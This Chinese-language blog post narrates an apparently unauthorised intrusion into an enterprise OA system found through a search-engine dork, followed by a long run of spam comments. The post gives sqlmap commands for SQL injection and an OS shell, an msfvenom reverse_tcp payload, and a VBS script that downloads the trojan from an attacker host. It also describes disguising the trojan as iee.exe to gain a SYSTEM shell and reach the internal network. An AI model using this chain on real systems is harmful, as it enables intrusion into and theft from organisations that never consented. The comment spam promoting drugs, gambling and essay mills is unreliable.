某OA系统从SYSTEM权限SQL注入到内网漫游

简单的漏洞，破坏性影响。

0x01 发现漏洞

七月正值暑假，闲暇时光在百度上inurl一番，找到了一个古老的企业OA系统

IP站点，没有域名，扫过一眼，.NET流行时代的普遍漏洞浮现在脑海里——SQL注入

在用户名里输入admin’，不负期望地报了错

很明显，前后端都没有对用户的输入进行过滤，直接将’带入了SQL语句进行。初步判断，此OA系统存在SQL注入漏洞。

0x02 漏洞验证

打开BurpSuite，设置好浏览器代理，抓下HTTP请求，一气呵成。

问题参数为 txtLogin=admin%27

可将整个请求复制到 test.txt，使用sqlmap -r 来注入

sqlmap -u http://x.x.x.x/xx.aspx --forms

至此，可以确认存在 error-based、stack quires和time-based三个类型的漏洞

0x03 判断数据库用户的权限

发现SQL注入后，首先要判断权限，高权限的注入可以为后续渗透省下很大功夫

sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba

非常nice，再次不负期望地返回了DBA权限

输入以下命令，获得一个shell

sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell

NT/SYSTEM权限，时隔两个多月，复现有误，不予贴图

0x04 反弹shell 深入内网

生成一个shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe

由于环境艰难，不能直接上传文件，我选择了用vbs脚本来下载木马到服务器

代码如下：

Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
'发送请求
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
'等待3秒，等文件下载
wscript.sleep 3000 
aGet.Write(post.responseBody)'写数据
aGet.SaveToFile "shell.exe",2

用echo命令缓慢地写完了vbs脚本之后，顺利运行，下载了木马

更改名字，移动到IE安装目录进行伪装

start iee.exe 运行木马

metasploit成功收到了SYSTEM权限的shell

该主机拥有内网IP，存在内网，可以互通，并且该主机作为中央数据库

此内网主机皆为VMware虚拟机

0x05 结束测试，提交漏洞

本次渗透测试成功拿到最高权限， 到此为止，不再深入。

随着攻击与防御技术的彼此攀升，程序员的安全意识逐渐提高，SQL也越来越少。

但不少粗糙的程序和古老的系统仍然存在此漏洞，此类漏洞解决方法简单，只用对用户输入参数稍加处理即可。

Tags:

You may also like...

112 Responses

  1. 王逗子说道：
    2019年9月12日 下午8:09

    很好！

    回复
  2. 戢祥说道：
    2019年9月12日 下午8:30

    牛逼，说的很有用处

    回复
  3. 郑说道：
    2019年9月12日 下午8:31

    wow 勉为其难的踩一个叭

    回复
  4. 啊 啊啊啊啊说道：
    2019年9月14日 下午10:03

    这个码打得好啊

    回复
  5. vibrating wand massager说道：
    2022年6月2日 上午6:17

    Appreciate you sharing, great blog article. Fantastic.

    回复
  6. ยูฟ่า说道：
    2022年6月3日 下午10:32

    Very good blog post.Really thank you! Will read on…

    回复
  7. blue mountain homes for sale说道：
    2022年6月4日 下午4:11

    Fantastic article post.Thanks Again.

    回复
  8. 4movierulz说道：
    2022年6月5日 下午6:21

    Great blog post.Really looking forward to read more. Really Great.

    回复
  9. auto detailing kansas city说道：
    2022年6月8日 下午8:48

    Very neat article.Thanks Again. Really Cool.

    回复
  10. judi bola psg vs real madrid说道：
    2022年6月9日 下午5:02

    Very informative blog post.Really looking forward to read more. Really Great.

    回复
  11. vibrating wand massager说道：
    2022年6月11日 上午8:18

    Thank you ever so for you post. Awesome.

    回复
  12. techyseva说道：
    2022年6月11日 下午5:21

    Very neat blog post.Really thank you! Great.

    回复
  13. nikon d5600 dslr说道：
    2022年6月15日 上午3:57

    Great blog article.Really looking forward to read more. Keep writing.

    回复
  14. diy home projects说道：
    2022年6月15日 上午4:58

    Great blog.Much thanks again.

    回复
  15. PSM certification说道：
    2022年6月18日 上午7:03

    I have been reading out a few of your articles and i must say pretty nice stuff. I will make sure to bookmark your blog.

    回复
  16. https://data.world/maybomnuocpentax说道：
    2022年6月23日 上午5:15

    Great blog article.Much thanks again.

    回复
  17. top gun maverick movie说道：
    2022年6月26日 下午5:46

    You write Formidable articles, keep up good work.

    回复
  18. usfl playoff picks说道：
    2022年6月28日 上午6:08

    Awesome blog post.Much thanks again. Keep writing.

    回复
  19. best vibe说道：
    2022年6月28日 下午9:54

    Enjoyed every bit of your article post.Really looking forward to read more. Keep writing.

    回复
  20. mix parlay piala dunia说道：
    2022年6月30日 上午12:01

    Appreciate you sharing, great blog.Really thank you! Much obliged.

    回复
  21. help veterans find jobs说道：
    2022年7月1日 上午8:37

    Very informative article post.Really looking forward to read more. Will read on…

    回复
  22. situs mix parlay说道：
    2022年7月2日 上午9:20

    Awesome blog post.Thanks Again. Awesome.

    回复
  23. company complaints说道：
    2022年7月5日 上午12:25

    wow, awesome article. Want more.

    回复
  24. android apps说道：
    2022年7月6日 上午8:10

    Very good blog.Really thank you! Cool.

    回复
  25. pleasure pump说道：
    2022年7月7日 下午8:27

    I really like and appreciate your post.Thanks Again. Awesome.

    回复
  26. auto detailing kansas city说道：
    2022年7月13日 下午5:28

    I really like and appreciate your post.Really looking forward to read more.

    回复
  27. diploma of work health and safety说道：
    2022年7月14日 上午8:41

    Fantastic blog.Thanks Again. Much obliged.

    回复
  28. empresa de reformas说道：
    2022年7月16日 下午12:48

    I love your blog. It looks every informative.

    回复
  29. Universitas Alma Ata说道：
    2022年7月20日 上午12:20

    Thanks for ones marvelous posting! I truly enjoyed reading it, you will be a great author.
    I will make certain to bookmark your blog and may come back later in life.
    I want to encourage you to continue your great work,
    have a nice evening!

    回复
  30. emergency roof repairs说道：
    2022年7月21日 下午3:38

    I really like and appreciate your article post.Really looking forward to read more. Really Cool.

    回复
  31. onlymp3说道：
    2022年7月22日 下午11:26

    Makes sense to me.

    回复
  32. judi slot online resmi说道：
    2022年7月27日 上午1:52

    Thank you for your blog. Keep writing.

    回复
  33. Slot deposit murah说道：
    2022年7月27日 上午4:48

    Great post.Really looking forward to read more. Will read on…

    回复
  34. gadgetofficials.com说道：
    2022年7月30日 上午7:00

    Thank you for your article post.Thanks Again. Great.

    回复
  35. Kurla Day说道：
    2022年8月1日 上午3:48

    Awesome blog post. Fantastic.

    回复
  36. mp3juices说道：
    2022年8月2日 上午3:10

    Thank you for your blog.Thanks Again. Awesome.

    回复
  37. europe best beaches说道：
    2022年8月3日 下午11:59

    Very good article post. Want more.

    回复
  38. porn说道：
    2022年8月6日 上午4:33

    I used to be able to find good information from your blog posts.

    回复
  39. Diet说道：
    2022年8月7日 下午4:29

    Awesome blog post.Really thank you! Fantastic.

    回复
  40. cooe说道：
    2022年8月9日 下午4:40

    Very informative blog post.Really thank you! Really Great.

    回复
  41. www.bouncykangaroopartyrental.com说道：
    2022年8月17日 下午10:58

    ivermectin for sale humans ivermectin human

    回复
  42. dlt upholstery supply说道：
    2022年8月25日 下午2:38

    I imagine so. Very good stuff, I agree totally.

    回复
  43. marine upholstery supplies说道：
    2022年8月28日 下午1:14

    How do I subscribe to your blog? Thanks for your help.

    回复
  44. mas info说道：
    2022年9月2日 下午12:53

    What a great article.. i subscribed btw!

    回复
  45. menu gator说道：
    2022年9月7日 上午7:16

    free bitcoins verdienenBitcoin for live cd11e72

    回复
  46. fachadas ciudad说道：
    2022年9月17日 上午1:12

    Absolutely written written content , regards for information .

    回复
  47. سمعها说道：
    2022年9月18日 下午4:51

    Very good info. Lucky me I found your site by chance (stumbleupon). I have bookmarked it for later.

    回复
  48. سمعها说道：
    2022年9月23日 上午8:44

    I couldn’t refrain from commenting. Exceptionally well written!

    回复
  49. signs of love full movie说道：
    2022年10月4日 上午11:02

    Well, I don’t know if that’s going to work for me, but definitely worked for you! 🙂 Excellent post!

    回复
  50. removals uk说道：
    2022年10月5日 上午8:48

    tinder sign up , browse tinder for freehow to use tinder

    回复
  51. 안전놀이터说道：
    2022年10月21日 上午4:08

    Have you given any kind of thought at all with converting your current web-site into French? I know a couple of of translaters here that will would certainly help you do it for no cost if you want to get in touch with me personally.

    回复
  52. Read More Here说道：
    2022年10月22日 上午5:55

    gnc ed pills – ed pills otc roman ed pills

    回复
  53. try here说道：
    2022年10月23日 上午5:36

    pay someone to write an essaywriting a narrative essay about yourselfeasy essay writing

    回复
  54. her latest blog说道：
    2022年10月24日 下午1:44

    zithromax capsules australia: zithromax for sale – zithromax antibiotic

    回复
  55. judi slot uang asli说道：
    2022年10月25日 下午11:21

    Appreciate it. A lot of content. custom paper writing service reviews write your essay

    回复
  56. try here说道：
    2022年10月26日 下午7:00

    Looking forward to reading more. Great blog.Really thank you! Really Great.

    回复
  57. page说道：
    2022年10月28日 下午11:22

    สล็อตออนไลน์คนไหนกันได้ทดลองเล่นเป็นต้องชอบอกชอบใจ เนื่องจากลักษณะของเกมง่าย แต่ที่สำคัญไปกว่านั้นเป็นทำเงินได้มากถึง 400-500 เท่าของทุนเลย ไม่เพียงเท่านั้น UFABET ยังเพิ่มรางวัล รวมทั้งแจ็คพอตเพื่อเพิ่มโอกาสให้ผู้เล่นได้เงินง่ายมากยิ่งขึ้นอีกด้วย

    回复
  58. temukan info lebih lanjut说道：
    2022年11月7日 下午5:53

    I used to be able to find good advice from your blog articles.

    回复
  59. Brenton Donnelly说道：
    2022年11月16日 上午2:12

    Hello

    回复
  60. ke situs web说道：
    2022年11月20日 下午10:59

    I was able to find good information from your blog posts.

    回复
  61. ミニラブドール说道：
    2022年11月21日 下午2:55

    I encountered your site after doing a search for new contesting using Google, and decided to stick around and read more of your articles. Thanks for posting, I have your site bookmarked now.

    回复
  62. currency trading说道：
    2022年11月25日 上午5:43

    proair versus ventolin ventolin 108 mcg how to use albuterol without a nebulizer how often to use ventolin inhaler

    回复
  63. next说道：
    2022年11月30日 下午7:45

    I really liked your blog.Much thanks again. Much obliged.

    回复
  64. indices trading说道：
    2022年12月1日 上午4:41

    ivermectin 1 – iverceitin.com generic stromectol

    回复
  65. driving school in UK说道：
    2022年12月1日 下午2:45

    Awesome blog.Thanks Again. Really Cool.

    回复
  66. click here说道：
    2022年12月4日 上午11:21

    I will right away take hold of your rss as I can not in finding your e-mail subscription link or newsletter service. Do you’ve any? Kindly let me know in order that I may just subscribe. Thanks.

    回复
  67. for more info说道：
    2022年12月5日 上午8:07

    You said that exceptionally well.personal essay college application college essay online custom writing services

    回复
  68. Slot gacor说道：
    2022年12月7日 上午1:45

    Wow, great article post.Much thanks again. Much obliged.

    回复
  69. Kelvin Kaemingk说道：
    2022年12月10日 下午9:13

    Fantastic blog article. Want more.

    回复
  70. Clevo NH70说道：
    2022年12月13日 上午12:34

    Very informative post.Really looking forward to read more. Really Great.

    回复
  71. ygdy说道：
    2022年12月14日 下午3:36

    I loved your blog post.Thanks Again. Much obliged.

    回复
  72. day spa near me for couples说道：
    2022年12月19日 上午6:01

    Fantastic blog article.Really thank you! Keep writing.

    回复
  73. proposal cover page说道：
    2022年12月19日 下午3:21

    ترجمه زبان تخصصی حسابداری جلد دوم عبدالرضا تالانه

    回复
  74. pedikyr oslo sentrum说道：
    2022年12月19日 下午6:54

    Very neat blog. Great.

    回复
  75. ?????????说道：
    2022年12月19日 下午9:30

    Nicely put, Thanks a lot!professional essay writer hello kitty writing paper academic freelance writers

    回复
  76. Direct To Film Inks说道：
    2022年12月20日 下午3:33

    help writing papers for college — academicwriting need help writing a paper

    回复
  77. Punjab state lottery Diwali Bumper说道：
    2022年12月20日 下午8:29

    Enjoyed every bit of your blog article.Thanks Again. Fantastic.

    回复
  78. https://arcinsagency.com/说道：
    2022年12月22日 下午2:21

    We at present do not very personal an automobile however anytime I purchase it in future it all definitely undoubtedly be a Ford style!

    回复
  79. Expert Removal Services说道：
    2022年12月22日 下午5:18

    ivermectin for swine cattle ivermectin for humans

    回复
  80. hyderabad interior designers说道：
    2022年12月22日 下午9:07

    Thank you for your post.Much thanks again. Will read on…

    回复
  81. LED tubelight manufacturer说道：
    2022年12月23日 上午1:12

    Very informative post.Really looking forward to read more. Great.

    回复
  82. buy cheap rdp说道：
    2022年12月29日 下午3:43

    I don’t normally comment on blogs.. But nice post! I just bookmarked your site

    回复
  83. EV stocks说道：
    2022年12月29日 下午7:37

    Good Morning everybody , can anyone recommend where I can purchase Zesty Lemon CBD Tincture By Og Labs?

    回复
  84. ppc services kingston说道：
    2022年12月30日 上午6:02

    I’ll right away grasp your rss feed as I can not to find youre-mail subscription link or newsletter service.Do you have any? Kindly let me recognize so that I may subscribe.Thanks.

    回复
  85. Tree health说道：
    2022年12月30日 上午6:20

    Enjoyed every bit of your blog post. Want more.

    回复
  86. https://www.okokanma.com/tongyeong说道：
    2023年1月1日 下午2:11

    I can’t go into details, but I have to say its a good article!

    回复
  87. Vuavothuat说道：
    2023年1月2日 下午10:43

    Say, you got a nice post.Really looking forward to read more. Great.

    回复
  88. dior b30 sneakers replica说道：
    2023年1月3日 下午4:15

    Thank you ever so for you blog article. Awesome.

    回复
  89. Lang Acfalle说道：
    2023年1月4日 上午6:42

    I could not refrain from commenting. Exceptionally well written!

    回复
  90. 에볼루션사이트说道：
    2023年1月6日 下午11:02

    Looking forward to reading more. Great article post. Great.

    回复
  91. 에볼루션사이트说道：
    2023年1月7日 下午8:48

    Wow, great blog post. Keep writing.

    回复
  92. 에볼루션바카라说道：
    2023年1月8日 上午6:42

    I really liked your blog post.Thanks Again. Want more.

    回复
  93. gift certificate template word说道：
    2023年1月11日 上午1:12

    achei muito bacana este post e vou tentar adaptar em meunegócio . Você me permite indicar este link para minha base de clientes viaemail ?

    回复
  94. mp3 juice说道：
    2023年1月15日 下午5:10

    I loved your blog. Want more.

    回复
  95. strippers fresno说道：
    2023年1月18日 下午10:41

    Really informative blog post.Thanks Again. Keep writing.

    回复
  96. Home Design Institute说道：
    2023年1月19日 下午5:37

    stromectol for human – stromectol human stromectol tablets for sale

    回复
  97. Kelvin Kaemingk Eagan, MN说道：
    2023年1月27日 上午3:54

    wow, awesome blog article.Really looking forward to read more. Really Cool.

    回复
  98. Sliding glass door repair说道：
    2023年1月29日 下午10:39

    Awesome blog article.Really looking forward to read more. Really Cool.

    回复
  99. go to see说道：
    2023年1月30日 上午9:04

    local personalslocal girla near me personals

    回复
  100. PCB assembly说道：
    2023年2月1日 下午10:00

    Very neat post.Really looking forward to read more. Great.

    回复
  101. Stock split说道：
    2023年2月3日 上午2:23

    Great article post.Really looking forward to read more. Cool.Loading…

    回复
  102. Irene Carr说道：
    2023年2月5日 上午11:37

    Enjoyed every bit of your blog.Really looking forward to read more. Really Cool.

    回复
  103. Holly Dawson说道：
    2023年2月5日 下午1:02

    Thank you for your article.Really looking forward to read more. Will read on…

    回复
  104. recall David Eby说道：
    2023年2月5日 下午6:33

    ivermectin injectable dosage for goats orally ivermectin drench for goats

    回复
  105. Kelvin Kaemingk说道：
    2023年2月6日 下午3:46

    Very informative blog post.Really thank you! Cool.

    回复
  1. 2thursday
    2022年6月18日

    3transexuales

  2. 3encourage
    2023年1月26日

    1proposal

  3. 2utilities
    2023年1月27日

    1installations

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注